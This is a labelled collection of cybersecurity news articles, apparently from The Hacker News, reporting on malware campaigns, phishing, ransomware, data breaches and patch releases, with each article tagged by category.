CopyCat Android Rooting Malware Infected 14 Million Devices,https://thehackernews.com/2017/07/copycat-rooting-malware.html,"A newly uncovered malware strain has already infected more than 14 Million Android devices around the world, earning its operators approximately $1.5 Million in fake ad revenues in just two months.

Dubbed CopyCat, the malware has capabilities to root infected devices, establish persistency, and inject malicious code into Zygote – a daemon responsible for launching apps on Android, providing the hackers full access to the devices.

Over 14 Million Devices Infected; 8 Million of them Rooted

According to the security researchers at Check Point who discovered this malware strain, CopyCat malware has infected 14 million devices, rooted nearly 8 million of them, had 3.8 million devices serve ads, and 4.4 million of them were used to steal credit for installing apps on Google Play.

While the majority of victims hit by the CopyCat malware resides in South and Southeast Asia with India being the most affected country, more than 280,000 Android devices in the United States were also infected.

While there's no evidence that the CopyCat malware has been distributed on Google Play, the Check Point researchers believe that millions of victims got infected through third-party app downloads and phishing attacks.

Like Gooligan, CopyCat malware also uses ""state-of-the-art technology"" to carry out various forms of advertisement fraud.

CopyCat uses several exploits, including CVE-2013-6282 (VROOT), CVE-2015-3636 (PingPongRoot), and CVE-2014-3153 (Towelroot) to hit devices running Android 5.0 and earlier, which are all widely used and very old, with the most recent uncovered 2 years ago.

The success of the campaign clearly indicates that millions of Android users still rely on old, unpatched, unsupported devices.

Here's How CopyCat Infects Android Devices

CopyCat disguises as a popular Android app that users download from third-party stores. Once downloaded, the malware starts collecting data about the infected device and downloads rootkits to help root the victim's smartphone.

After rooting the Android device, the CopyCat malware removes security defenses from the device and injects code into the Zygote app launching process to fraudulently install apps and display ads and generate revenue.
""CopyCat abuses the Zygote process to display fraudulent ads while hiding their origin, making it difficult for users to understand what's causing the ads to pop-up on their screens,"" Check Point researchers say.
""CopyCat also installs fraudulent apps directly to the device, using a separate module. These activities generate large amounts of profits for the creators of CopyCat, given a large number of devices infected by the malware.""
In just two months of time span, the CopyCat malware helped the hackers make more than $1.5 Million in revenue. The majority of profit (over $735,000) came from nearly 4.9 million fake installations on infected devices, which displays up to 100 million ads.

The majority of victims are located in India, Pakistan, Bangladesh, Indonesia, and Myanmar, though over 381,000 devices in Canada and more than 280,000 devices in the U.S. are infected with CopyCat.

CopyCat Malware Spreads Using Chinese Advertising Network

While there's no direct evidence on who is behind the CopyCat malware campaign, researchers at Check Point found below-mentioned connections that indicate hackers might have used Chinese advertising network 'MobiSummer' for the distribution of the malware.
CopyCat malware and MobiSummer operate on the same server
Several lines of CopyCat's code is signed by MobiSummer
CopyCat and MobiSummer use the same remote services
CopyCat did not target Chinese users despite over half of the victims residing in Asia
""It is important to note that while these connections exist, it does not necessarily mean the malware was created by the company, and it is possible the perpetrators behind it used MobiSummer's code and infrastructure without the firm's knowledge"" Check Point researchers say.
Android users on older devices are still vulnerable to the CopyCat attack, but only if they are downloading apps from third-party app stores.

In March 2017, Check Point researchers informed Google about the CopyCat campaign, and the tech giant has already updated Play Protect to block the malware.

So, Android users even on older devices are protected through Play Protect, which is updated regularly as malware strains such as CopyCat continue to grow.

",Malware
WARNING – New Phishing Attack That Even Most Vigilant Users Could Fall For,https://thehackernews.com/2019/02/advance-phishing-login-page.html,"How do you check if a website asking for your credentials is fake or legit to log in?

By checking if the URL is correct?

By checking if the website address is not a homograph?

By checking if the site is using HTTPS?

Or using software or browser extensions that detect phishing domains?

Well, if you, like most Internet users, are also relying on above basic security practices to spot if that ""Facebook.com"" or ""Google.com"" you have been served with is fake or not, you may still fall victim to a newly discovered creative phishing attack and end up in giving away your passwords to hackers.

Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, told The Hacker News that his team recently spotted a new phishing attack campaign ""that even the most vigilant users could fall for.""

Vincent found that cybercriminals are distributing links to blogs and services that prompt visitors to first ""login using Facebook account"" to read an exclusive article or purchase a discounted product.

That's fine. Login with Facebook or any other social media service is a safe method and is being used by a large number of websites to make it easier for visitors to sign up for a third-party service quickly.

Generally, when you click ""log in with Facebook"" button available on any website, you either get redirected to facebook.com or are served with facebook.com in a new pop-up browser window, asking you to enter your Facebook credentials to authenticate using OAuth and permitting the service to access your profile's necessary information.
However, Vincent discovered that the malicious blogs and online services are serving users with a very realistic-looking fake Facebook login prompt after they click the login button which has been designed to capture users' entered credentials, just like any phishing site.

As shown in the video demonstration Vincent shared with The Hacker News, the fake pop-up login prompt, actually created with HTML and JavaScript, are perfectly reproduced to look and feel exactly like a legitimate browser window—a status bar, navigation bar, shadows and URL to the Facebook website with green lock pad indicating a valid HTTPS.

Moreover, users can also interact with the fake browser window, drag it here-and-there or exit it in the same way any legitimate window acts.

The only way to protect yourself from this type of phishing attack, according to Vincent, ""is to actually try to drag the prompt away from the window it is currently displayed in. If dragging it out fails (part of the popup disappears beyond the edge of the window), it's a definite sign that the popup is fake.""

Besides this, it is always recommended to enable two-factor authentication with every possible service, preventing hackers from accessing your online accounts if they somehow manage to get your credentials.

Phishing schemes are still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts.

Stay tuned, stay safe!
",Cyber_Attack
New Chinese Malware Targeted Russia's Largest Nuclear Submarine Designer,https://thehackernews.com/2021/05/new-chinese-malware-targeted-russias.html,"A threat actor believed to be working on behalf of Chinese state-sponsored interests was recently observed targeting a Russia-based defense contractor involved in designing nuclear submarines for the naval arm of the Russian Armed Forces.
The phishing attack, which singled out a general director working at the Rubin Design Bureau, leveraged the infamous ""Royal Road"" Rich Text Format (RTF) weaponizer to deliver a previously undocumented Windows backdoor dubbed ""PortDoor,"" according to Cybereason's Nocturnus threat intelligence team.
""Portdoor has multiple functionalities, including the ability to do reconnaissance, target profiling, delivery of additional payloads, privilege escalation, process manipulation static detection antivirus evasion, one-byte XOR encryption, AES-encrypted data exfiltration and more,"" the researchers said in a write-up on Friday.
Rubin Design Bureau is a submarine design center located in Saint Petersburg, accounting for the design of over 85% of submarines in the Soviet and Russian Navy since its origins in 1901, including several generations of strategic missile cruiser submarines.
Content of the weaponized RTF document
Over the years, Royal Road has earned its place as a tool of choice among an array of Chinese threat actors such as Goblin Panda, Rancor Group, TA428, Tick, and Tonto Team. Known for exploiting multiple flaws in Microsoft's Equation Editor (CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802) as far back as late 2018, the attacks take the form of targeted spear-phishing campaigns that utilize malicious RTF documents to deliver custom malware to unsuspecting high-value targets.
This newly discovered attack is no different, with the adversary using a spear-phishing email addressed to the submarine design firm as an initial infection vector. While previous versions of Royal Road were found to drop encoded payloads by the name of ""8.t,"" the email comes embedded with a malware-laced document, which, when opened, delivers an encoded file called ""e.o"" to fetch the PortDoor implant, implying a new variant of the weaponizer in use.
Said to be engineered with obfuscation and persistence in mind, PortDoor runs the backdoor gamut with a wide range of features that allow it to profile the victim machine, escalate privileges, download and execute arbitrary payloads received from an attacker-controlled server, and export the results back to the server.
""The infection vector, social engineering style, use of RoyalRoad against similar targets, and other similarities between the newly discovered backdoor sample and other known Chinese APT malware all bear the hallmarks of a threat actor operating on behalf of Chinese state-sponsored interests,"" the researchers said.

",Malware
FBI is fighting back against Judge's Order to reveal TOR Exploit Code,https://thehackernews.com/2016/03/fbi-tor-browser-exploit.html,"Last month, the Federal Bureau of Investigation (FBI) was ordered to reveal the complete source code for the TOR exploit it used to hack visitors of the world's largest dark web child pornography site, PlayPen.

Robert J. Bryan, the federal judge, ordered the FBI to hand over the TOR browser exploit code so that defence could better understand how the agency hacked over 1,000 computers and if the evidence gathered was covered under the scope of the warrant.

Now, the FBI is pushing back against the federal judge's order.

On Monday, the Department of Justice (DOJ) and the FBI filed a sealed motion asking the judge to reconsider its ruling, saying revealing the exploit used to bypass the Tor Browser protections is not necessary for the defense and other cases.

In previous filings, the defence has argued that the offensive operation used in the case was ""gross misconduct by government and law enforcement agencies,"" and that the Network Investigative Technique (NIT) conducted additional functions beyond the scope of the warrant.

The Network Investigative Technique or NIT is the FBI's terminology for a custom hacking tool designed to penetrate TOR users.

This particular case concerns Jay Michaud, one of the accused from Vancouver, Washington, who was arrested in last year after the FBI seized a dark web child sex abuse site and ran it from agency's own servers for the duration of 13 days.

During this period, the FBI deployed an NIT tool against users who visited particular, child pornography threads, grabbing their real IP addresses among other details. This leads to the arrests of Michaud among others.

The malware expert, Vlad Tsyrklevich held by the defense to analyse the NIT, said that it received only the parts of the NIT to analyse, but not sections that would ensure that the identifier attached to the suspect's NIT-infection was unique.
""He is wrong,"" Special Agent Daniel Alfin writes. ""Discovery of the 'exploit' would do nothing to help him determine if the government exceeded the scope of the warrant because it would explain how the NIT was deployed to Michaud's computer, not what it did once deployed.""
In a separate case, the Tor Project has accused the FBI of paying Carnegie Mellon University (CMU) at least $1 Million to disclose the technique it had discovered that could help them unmask Tor users and reveal their IP addresses. Though, the FBI denies the claims.

",Vulnerability
Microsoft Releases June 2020 Security Patches For 129 Vulnerabilities,https://thehackernews.com/2020/06/windows-update-june.html,"Microsoft today released its June 2020 batch of software security updates that patches a total of 129 newly discovered vulnerabilities affecting various versions of Windows operating systems and related products.

This is the third Patch Tuesday update since the beginning of the global Covid-19 outbreak, putting some extra pressure on security teams struggling to keep up with patch management while proceeding with caution that should not break anything during this lockdown season.

The 129 bugs in the June 2020 bucket for sysadmins and billions of users include 11 critical vulnerabilities—all leading to remote code execution attacks—and 118 classified as important in severity, mostly leading to privilege escalation and spoofing attacks.

According to the advisories Microsoft released today, hackers, fortunately, don't appear to be exploiting any of the zero-day vulnerabilities in the wild, and details for none of the flaws addressed this month was disclosed publicly before this publication.

One of the notable flaws is an information disclosure vulnerability (CVE-2020-1206) in Server Message Block 3.1.1 (SMBv3) protocol that, according to a team of researchers, can be exploited in combination with previously disclosed SMBGhost (CVE-2020-0796) flaw to archive remote code execution attacks. You can find more details on this flaw here.

Three critical bugs (CVE-2020-1213, CVE-2020-1216, and CVE-2020-1260) affect the VBScript engine and exist in the way it handles objects in memory, allowing an attacker to execute arbitrary code in the context of the current user.

Microsoft has listed these flaws as ""Exploitation more likely,"" explaining that it has seen attackers consistently exploiting similar flaws in the past, and can be carried out remotely via browser, application or Microsoft Office document that hosts the IE rendering engine.

One of the 11 critical issues exploits a vulnerability (CVE-2020-1299) in the way Windows handles Shortcut files (.LNK), allowing attackers to execute arbitrary code on the targeted systems remotely. Like all previous LNK vulnerabilities, this type of attack could also lead to victims losing control over their computers or having their sensitive data stolen.

The GDI+ component that enables programs to use graphics and formatted text on a video display or printer in Windows has also been found vulnerable to a remote code execution flaw (CVE-2020-1248).

According to Microsoft, GDI+ RCE vulnerability can be exploited in combination with a separate critical security feature bypass vulnerability (CVE-2020-1229) affecting Microsoft Outlook software that could let attackers automatically load malicious images hosted on a remote server.

""In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted image to the user. An attacker who successfully exploited this vulnerability could cause a system to load remote images. These images could disclose the IP address of the targeted system to the attacker,"" the advisory says.

Besides these, the June 2020 update also includes a patch for a new critical remote code execution flaw (CVE-2020-9633) affecting Adobe Flash Player for Windows systems.

It's recommended that all users apply the latest security patches as soon as possible to prevent malware or miscreants from exploiting them to gain remote control over vulnerable computers.

For installing the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update, or by selecting Check for Windows updates.
",Vulnerability
"Wait ! It's not just Stuxnet or DuQu , Kaspersky reveals 5 more cousins",https://thehackernews.com/2012/01/wait-its-not-just-stuxnet-or-duqu.html,"Wait ! It's not just Stuxnet or DuQu , Kaspersky reveals 5 more cousins



Russian computer security outfit Kaspersky Lab said that the Stuxnet virus that damaged Iran's nuclear programme was likely to be one of at least five cyber weapons developed on a single platform. The viruses have never been seen 'in the wild' - and it's unclear whether they, like Stuxnet, would be built to cause failures at nuclear plants, or engineered for another purpose.

Both Stuxnet and Duqu appear to have been created back in late 2007 or early 2008, and other pieces of malware with similar capabilities were built on the same platform, Gostev said.
Gostev examined two key drivers and variants that were used in both Stuxnet and Duqu, as well as two previously unknown drivers that were similar to the ones used. Not only did the same group of people develop Stuxnet and Duqu, but they likely worked simultaneously on multiple variants, Gostev said. The other pieces may be in the wild and not yet detected, or the developers may have decided not to release them, he said.

Overall, Kaspersky found seven types of drivers from the family with similar characteristics, and for three of them there's no knowledge of which malicious program they were used in conjunction with.Alexander Gostev, Chief Security Expert at Kaspersky, commented: ""The drivers from the still unknown malicious programs cannot be attributed to activity of the Stuxnet and Duqu Trojans. The methods of dissemination of Stuxnet would have brought about a large number of infections with these drivers; and they can't be attributed either to the more targeted Duqu Trojan due to the compilation date.""

Researchers with Kaspersky have not found any new types of malware built on the Tilded platform, Raiu said, but they are fairly certain that they exist because shared components of Stuxnet and Duqu appear to be searching for their kin.When a machine becomes infected with Duqu or Stuxnet, the programs search for two unique registry keys on the PC linked to Duqu and Stuxnet that are then used to load the main piece of malware onto the computer, he said.

""We believe Duqu and Stuxnet were simultaneous projects supported by the same team of developers,"" Gostev wrote.
The developers are tweaking ready-made files instead of creating new drivers from scratch, which allows them to make as many different driver files as they like, each having exactly the same functionality and creation date, Gostev said. These files can also be signed with legitimate digital certificates and packaged into different variants.

",Malware
Leaked NSA Hacking Tools Were 'Mistakenly' Left By An Agent On A Remote Server,https://thehackernews.com/2016/09/nsa-hacking-tool-exploits.html,"If you are a hacker, you might have enjoyed the NSA's private zero-day exploits, malware and hacking tools that were leaked last month.

But the question is: How these hacking tools ended up into the hands of hackers?

It has been found that the NSA itself was not directly hacked, but a former NSA employee carelessly left those hacking tools on a remote server three years ago after an operation and a group of Russian hackers found them, sources close to the investigation told Reuters.

The leaked hacking tools, which enable hackers to exploit vulnerabilities in systems from big vendors like Cisco Systems, Juniper, and Fortinet, were dumped publicly online by the group calling itself ""The Shadow Brokers.""

NSA officials have also admitted to the FBI that their careless employee acknowledged the error shortly afterward, and hence the agency was aware of its operative's mistake from last three years.

But instead of warning the affected companies that their customers were at risk, the NSA maintained the silence.
""After the discovery, the NSA tuned its sensors to detect [the] use of any of the tools by other parties, especially foreign adversaries with strong cyber espionage operations, such as China and Russia,"" Reuters reports.
Well, that's Bullshit! If they call it a 'tactic.'

Shortly after the public release of NSA cyber weapons, firewall vendors Cisco and Fortinet confirmed that the leaked zero-day vulnerabilities were legitimate and issued out patches to fix those exploits.

We are still waiting for the comments from the NSA, the FBI and the Office of the Director of National Intelligence about the matter.

Since the initial leak of NSA's hacking tools last month and confirmation of the leaked vulnerabilities being legitimate by Cisco and Fortinet, the intelligence agency and online community has been finding out the working exploits in the data dump that are still unknown and used in the wild.

Just recently, Cisco revealed a new zero-day vulnerability from the leaked data dump that had been used by hackers to target some of its customers, which indicates that hackers would likely continue to take advantage of the now-exposed exploits to conduct cyber attacks.

",Malware
Mirai Botnet Creators Helping FBI Fight Cybercrime to Stay Out of Jail,https://thehackernews.com/2018/09/mirai-botnet-fbi-cybercrime.html,"Three young hackers who were sentenced late last year for creating and spreading the notorious Mirai botnet are now helping the FBI to investigate other ""complex"" cybercrime cases in return to avoid their lengthy prison terms.

Paras Jha, 21 from New Jersey, Josiah White, 20 from Washington, and Dalton Norman, 21 from Louisiana, plead guilty in December 2017 to multiple charges for their role in creating and hijacking hundreds of thousands IoT devices to make them part of a notorious botnet network dubbed Mirai.

Mirai malware scanned for insecure routers, cameras, DVRs, and other Internet of Things (IoT) devices which were using their default passwords and then made them part of a botnet network.

The trio developed the Mirai botnet to attack rival Minecraft video gaming hosts, but after realizing that their invention was powerful enough to launch record-breaking DDoS attacks against targets like OVH hosting website, they released the source code of Mirai.

The release of source code eventually led to more cyber attacks conducted by various criminals against websites and Internet infrastructure, one of which was the popular DNS provider Dyn which made much of the Internet unusable on the East Coast in October 2016.

The Mirai botnet attacks were then investigated by the FBI in 2017, and the cybercriminals were sentenced by the Chief U.S. District Judge in Alaska in December 2017.

Hackers Assisting FBI As Part Of Their Sentencing

However, after U.S. prosecutors announced Tuesday that the men had provided ""extensive"" and ""exceptional"" assistance to a dozen or more different law enforcement, a federal judge in Alaska sentenced each of the three men to just five years of probation—no prison sentence.

The trio has also been ordered to pay $127,000 in restitution, serve 2,500 hours of community service, and has voluntarily handed over significant amounts of cryptocurrency seized during the investigation into their activities.

According to court documents filed last week, Jha, White, and Norman have been working with the FBI for more than a year and will continue to cooperate with the agency.

In one instance, prosecutors called out the trio's assistance in the 2017 takedown of the Kelihos botnet—a global network of more than 100,000 infected computers used to deliver spam, steal login passwords, and infect other computers with ransomware and various malware.

In March, the three hackers also helped law enforcement stop the Memcached-based DDoS attack, a tool that helped criminals launch over 51,000 times powerful DDoS attack than its original strength against their targets.

""Cybercrime is a worldwide epidemic that reaches many Alaskans. The perpetrators count on being technologically one step ahead of law enforcement officials,"" said U.S. Attorney Bryan Schroder.

""The plea agreement with the young offenders, in this case, was a unique opportunity for law enforcement officers, and will give FBI investigators the knowledge and tools they need to stay ahead of cybercriminals around the world.""

Schroder concluded that cybercriminals often develop their technical skills at a young age, and this case demonstrates the government's commitment to ""hold criminals accountable while encouraging offenders to choose a different path to apply their skills.""
",Malware
"Update — Hacker Claims to Have Hacked the FBI, But It Wasn't",https://thehackernews.com/2017/01/fbi-plone-cms-hacked.html,"Update: A hacker yesterday claimed to have hacked the FBI's website running on Plone CMS, but it seems it wasn't hacked using any zero-day vulnerability in Plone. We contacted Plone security team and updated this story (see below) with official statements.

A hacker, using Twitter handle CyberZeist, has claimed to have hacked the FBI's website (fbi.gov) and leaked personal account information of several FBI agents publically.

CyberZeist had initially exposed the flaw on 22 December, giving the FBI time to patch the vulnerability in its website's code before making the data public.

The hacker exploited a zero-day vulnerability in the Plone CMS, an Open Source Content Management software used by FBI to host its website, and leaked personal data of 155 FBI officials to Pastebin, including their names, passwords, and email accounts.

CyberZeist tweeted multiple screenshots as proof of his claims, showing his unauthorized access to server and database files using a zero-day local file inclusion type vulnerability affecting its python plugins.

Hacker also found that the FBI's website is hosted on a virtual machine running a customized older version of the open-source FreeBSD operating system.

According to another tweet, the Plone CMS zero-day exploit is up for sale on an unnamed dark web marketplace.

The Plone CMS is considered to be one of the most secure CMSes available today and is used by many major websites like Google, and major United States agencies including the FBI and the CIA.

CyberZeist also warned other agencies, including the European Union Agency for Network and Information Security, Intellectual Property Rights Coordination Center, and Amnesty International, which are currently using the Plone CMS that they too are vulnerable to a similar attack.

The FBI authorities have yet to respond to the claims.

Update — Plone Security Team Says, There's No Zero-Day!

Meanwhile, Plone Security team has released a security advisory saying that it will release a security update on 17th January to its customers to ""patch various vulnerabilities.""

For now Advisory doesn't include much technical information about the vulnerabilities, but all supported Plone versions (4.x, 5.x). Previous versions could be affected.
""The advisory information we give in those pre-announcements is standard. In fact, the upcoming patch is to fix a minor issue with Zope which is neither a RCE or LFI inclusion problem.""
Notably, Plone Security team has also mentioned that ""there is no evidence that the issues fixed here are being actively exploited.""
""The issue we are fixing in no way resembles CyberZeist's claims, neither do the issues we fixed last month."" Matthew Wilkes, Plone security team, told The Hacker News.
""The aim of releasing information from such a hack is to convince people that you've indeed hacked the target. Claims of hacks that only give information that is publicly available (such as open-source code) or impossible to verify (such as hashed passwords) are common signs of a hoax,"" Matthew said.
""It is extremely easy to fake a hack like this; it takes rudimentary Photoshop skills or use of Chrome javascript developer console."" - Nathan van Gheem, Plone security team, told THN.
Also, Mr. Alexandru Ghica, Eau de Web, the maintainer of an EU website which hacker also claimed to have hacked says, ""I can say for sure that at least some of the data posted as proof is 100% fake. The hoax was a bit elaborate indeed, but that's it.""

This is not the first time CyberZeist claimed to have hacked the FBI website. In 2011, the hacker breached the FBI website as a member of the infamous hacker collective known as ""Anonymous.""

",Vulnerability
Warning: Two Dangerous Ransomware Are Back – Protect Your Computers,https://thehackernews.com/2017/08/locky-mamba-ransomware.html,"Ransomware has been around for a few years but has become an albatross around everyone's neck—from big businesses and financial institutions to hospitals and individuals worldwide—with cyber criminals making millions of dollars.

In just past few months, we saw a scary strain of ransomware attacks including WannaCry, Petya and LeakerLocker, which made chaos worldwide by shutting down hospitals, vehicle manufacturing, telecommunications, banks and many businesses.

Before WannaCry and Petya, the infamous Mamba full-disk-encrypting ransomware and the Locky ransomware had made chaos across the world last year, and the bad news is—they are back with their new and more damaging variants than ever before.

Diablo6: New Variant of Locky Ransomware
First surfaced in early 2016, Locky has been one of the largest distributed ransomware infections, infecting organisations across the globe.

By tricking victims into clicking on a malicious attachment, Locky ransomware encrypts nearly all file formats on a victim's computer and network and unlocks them until the ransom in Bitcoins is paid to attackers.

The ransomware has made many comebacks with its variants being distributed through Necurs botnet and Dridex botnet.

This time security researchers have discovered a fresh spam malware campaign distributing a new variant of Locky known as Diablo6 and targeting computers around the world, with the United States being the most targeted country, followed by Austria.

An independent security researcher using online alias Racco42 first spotted the new Locky variant that encrypts files on infected computers and appends the .diablo6 file extension.

Like usually, the ransomware variant comes in an email containing a Microsoft Word file as an attachment, which when opened, a VBS Downloader script is executed that then attempts to download the Locky Diablo6 payload from a remote file server.

The ransomware then encrypts the files using RSA-2048 key (AES CBC 256-bit encryption algorithm) on the infected computer before displaying a message that instructs victims to download and install Tor browser; and visit the attacker's site for further instructions and payments.

This Locky Diablo6 variant demands a sum of 0.49 Bitcoin (over $2,079) from victims to get their files back.

Unfortunately, at this time it is impossible to recover the files encrypted by the .Diablo6 extension, so users need to exercise caution while opening email attachments.

Return of Disk-Encrypting Mamba Ransomware
Mamba is another powerful and dangerous kind of ransomware infection that encrypts the entire hard disk on an affected computer instead of just files, leaving the system totally unusable unless a ransom is paid.

Similar tactics have also been employed by other ransomware attacks, including Petya and WannaCry, but the Mamba ransomware has been designed for destruction in corporates and other large organisations, rather than extorting Bitcoins.

Late last year, Mamba infected the San Francisco's Municipal Transportation Agency (MUNI) system's network over the Thanksgiving weekend, causing major train delays and forcing officials to shut down ticket machines and fare gates at some stations.

Now, security researchers at Kaspersky Lab have spotted a new campaign distributing Mamba infections, targeting corporate networks in countries, majorly in Brazil and Saudi Arabia.

Mamba is utilising a legitimate open source Windows disk encryption utility, called DiskCryptor, to fully lock up hard drives of computers in targeted organisations. So, there is no way to decrypt data as the encryption algorithms used by DiskCryptor are very strong.

Although it's not clear how the ransomware initially finds its way into a corporate network, researchers believe like most ransomware variants, Mamba might be using either an exploit kit on compromised or malicious sites or malicious attachments sent via an email.

The ransom note does not immediately demand money, rather the message displayed on the infected screen only claims that the victim's hard drive has been encrypted and offers two email addresses and a unique ID number to recover the key.

Here's How to Protect Yourself From Ransomware Attacks

Ransomware has become one of the largest threats to both individuals and enterprises with the last few months happening several widespread ransomware outbreaks.

Currently, there is no decryptor available to decrypt data locked by Mamba and Locky as well, so users are strongly advised to follow prevention measures in order to protect themselves.

Beware of Phishing emails: Always be suspicious of uninvited documents sent over an email and never click on links inside those documents unless verifying the source.

Backup Regularly: To always have a tight grip on all your important files and documents, keep a good backup routine in place that makes their copies to an external storage device that is not always connected to your PC.

Keep your Antivirus software and system Up-to-date: Always keep your antivirus software and systems updated to protect against latest threats.

",Cyber_Attack
"AOL Hit by Massive Data Breach, Urges Users to Change Passwords",https://thehackernews.com/2014/04/aol-hit-by-massive-data-breach-urges.html,"If you are a user of the American On-Line (AOL) mail service then you are advised to change your password as soon as possible.

AOL Inc. on Monday confirmed the company suffered a massive data breach that may have affected a ""significant number"" of email accounts.

The company has issued a warning to users that their personal information including email addresses, postal addresses, address books, encrypted passwords and the encrypted answers to security question-answers, has been stolen by attackers, the New York-based company said Monday.

""The ongoing investigation of this serious criminal activity is our top priority,"" AOL said in a blog post. ""We are working closely with federal authorities to pursue this investigation to its resolution. Our security team has put enhanced protective measures in place, and we urge our users to take proactive steps to help ensure the security of their accounts.""

AOL said it began investigating the matter after it noticed a spike in spoofed emails from AOL user accounts. The company believes that hackers used the contact information to send spoofed emails that appear to come from roughly 2 percent of its email accounts.

""Spoofed"" emails are kind of phishing emails or messages that masquerade itself as if they have come from legitimate user accounts known to the recipient in order to trick the recipient into opening it, but in real are the links to malicious websites or malware.

The company believes that neither the financial data of users such as credit and debit cards number, nor the passwords or the answer to the security questions has been revealed as the hackers weren't be able to break the encryption.

""Importantly, we have no indication that the encryption on the passwords or the answers to security questions was broken,"" AOL wrote. ""In addition, at this point in the investigation, there is no indication that this incident resulted in disclosure of users' financial information, including debit and credit cards, which is also fully encrypted.""

Nevertheless, AOL suggests all its users to reset their passwords and also change their security questions and answers in order to protect themselves from such breaches.

""Although there is no indication that the encryption on the passwords or answers to security questions was broken, as a precautionary measure, we nevertheless strongly encourage our users and employees to reset their passwords used for any AOL service and, when doing so, also to change their security question and answer,"" AOL said.

In addition, it also provided some steps to protect its users from cyber threats:
Do not click on any suspicious links or attachments in the email you received.
When in doubt, contact the sender to confirm that he or she actually sent the email to you or not.
Never provide your personal or financial information through an email to someone you do not know.
AOL will never ask you for your password or any other sensitive personal information over an email.
If you found yourself a victim of spoofing, inform your friends that your emails may have been spoofed and warn them to avoid clicking the links in suspicious emails.

",Data_Breaches
Ransomware Gang Leaks Metropolitan Police Data After Failed Negotiations,https://thehackernews.com/2021/05/ransomware-gang-leaks-metropolitan.html,"The cybercrime syndicate behind Babuk ransomware has leaked more personal files belonging to the Metropolitan Police Department (MPD) after negotiations with the DC Police broke down, warning that they intend to publish all data if their ransom demands are not met.
""The negotiations reached a dead end, the amount we were offered does not suit us, we are posting 20 more personal files on officers, you can download this archive, the password will be released tomorrow. if during tomorrow they do not raise the price, we will release all the data,"" the gang said in a statement on their data leak site.
""You still have the ability to stop it,"" it added.
The Babuk group is said to have stolen 250GB of data, including investigation reports, arrests, disciplinary actions, and other intelligence briefings.
Like other ransomware platforms, DarkSide adheres to a practice called double extortion, which involves demanding money in return for unlocking files and servers encrypted by the ransomware, as well as for not leaking any data stolen from the victim prior to cutting off access to them.
""We are some kind of a cyberpunks, we randomly test corporate networks security and in case of penetration, we ask money, and publish the information about threats and vulnerabilities we found, in our blog if company doesn't want to pay,"" the group describes itself on the dark web site, calling its attacks an ""audit.""
Screenshots shared by the Babuk group, and seen by The Hacker News, reveal that the data was published after the amount DC Police was willing to pay did not match their ransom amount of $4 million. The MPD has allegedly offered $100,000 to fend off the release of stolen information.
""Our final proposal is an offer to pay $100,000 to prevent the release of the stolen data. If this offer is not acceptable, then it seems our conversation is complete. I think we both understand the consequences of not reaching an agreement. We are OK with that outcome,"" a message from MPD's side read.
Exchanges between Babuk and the department also highlight a similar pattern of assurances that stolen data will be deleted upon payment, with the group saying that ""we are not interested in the international politics and other issues between governments, conflicts, e.t.c.""
Following the ransomware attack against MPD late last month, the Babuk operators made announcements to the effect of winding down their operations, along with their affiliate program, to focus on data theft and extortion. An investigation into the incident is ongoing.

",Malware
"AutoHotkey-Based Password Stealer Targeting US, Canadian Banking Users",https://thehackernews.com/2020/12/autohotkey-based-password-stealer.html,"Threat actors have been discovered distributing a new credential stealer written in AutoHotkey (AHK) scripting language as part of an ongoing campaign that started early 2020.
Customers of financial institutions in the US and Canada are among the primary targets for credential exfiltration, with a specific focus on banks such as Scotiabank, Royal Bank of Canada, HSBC, Alterna Bank, Capital One, Manulife, and EQ Bank. Also included in the list is an Indian banking firm ICICI Bank.
AutoHotkey is an open-source custom scripting language for Microsoft Windows aimed at providing easy hotkeys for macro-creation and software automation that allows users to automate repetitive tasks in any Windows application.
The multi-stage infection chain commences with a malware-laced Excel file that's embedded with a Visual Basic for Applications (VBA) AutoOpen macro, which is subsequently used to drop and execute the downloader client script (""adb.ahk"") via a legitimate portable AHK script compiler executable (""adb.exe"").
The downloader client script is also responsible for achieving persistence, profiling victims, and downloading and running additional AHK scripts from command-and-control (C&C) servers located in the US, the Netherlands, and Sweden.
What makes this malware different is that instead of receiving commands directly from the C&C server, it downloads and executes AHK scripts to accomplish different tasks.
""By doing this, the attacker can decide to upload a specific script to achieve customized tasks for each user or group of users,"" Trend Micro researchers said in an analysis. ""This also prevents the main components from being revealed publicly, specifically to other researchers or to sandboxes.""
Chief among them is a credential stealer that targets various browsers such as Google Chrome, Opera, Microsoft Edge, and more. Once installed, the stealer also attempts to download an SQLite module (""sqlite3.dll"") on the infected machine, using it to perform SQL queries against the SQLite databases within browsers' app folders.
In the final step, the stealer collects and decrypts credentials from browsers and exfiltrates the information to the C&C server in plaintext via an HTTP POST request.
Noting that the malware components are ""well organized at the code level,"" the researchers suggest the inclusion of usage instructions (written in Russian) could imply a ""hack-for-hire"" group that's behind the attack chain's creation and is offering it to others as a service.
""By using a scripting language that lacks a built-in compiler within a victim's operating system, loading malicious components to achieve various tasks separately, and changing the C&C server frequently, the attacker has been able to hide their intention from sandboxes,"" the researchers concluded.

",Malware
Did You Install Super Mario Run APK for Android? That's Malware,https://thehackernews.com/2016/12/super-mario-run-android-apk.html,"After the success of Pokémon Go, Nintendo's ""Super Mario Run"" has become the hottest game to hit the market with enormous popularity and massive social impact. The game has taken the world by storm since its launch for iOS devices over a week ago.

Can you believe — it was downloaded more than 40 million times worldwide in its first four days of release.

But if you have downloaded a Super Mario Run APK for your Android device, Beware! That's definitely a malware.

Since Super Mario Run has currently been released only for iOS devices and is not on Google Play, it caused a lot of disappointment among Android users.

So, eventually, many Android device owners who love Mario games and can not wait to play Super Mario Run ended up downloading APKs outside of the Google Play Store.

But those tons of phony copycat unofficial Super Mario apps on many third-party Android app stores turn out to be malware or viruses that attempt to look like the legitimate Super Mario Run app.

Super Mario can Take Full Control of your Android Device

To download the third party APK, users are required to ""side-load"" the malicious app by modifying their Android core security settings, allowing their device's operating system to install apps from ""untrusted sources.""

Some of these malicious apps can even take full control of your Android device, as the apps request privileges to edit, read, receive and send text messages, take photos and record videos and track your location using GPS.

However, one of the apps titled ""Super Mario"" creates additional icons, displays pop-up and banner ads, installs other malicious apps onto victim's smartphone, and performs other intrusive activities without any users interaction, according to Tokyo-based Trend Micro antivirus firm, which detected malicious Super Mario apps 90,000 times this year.
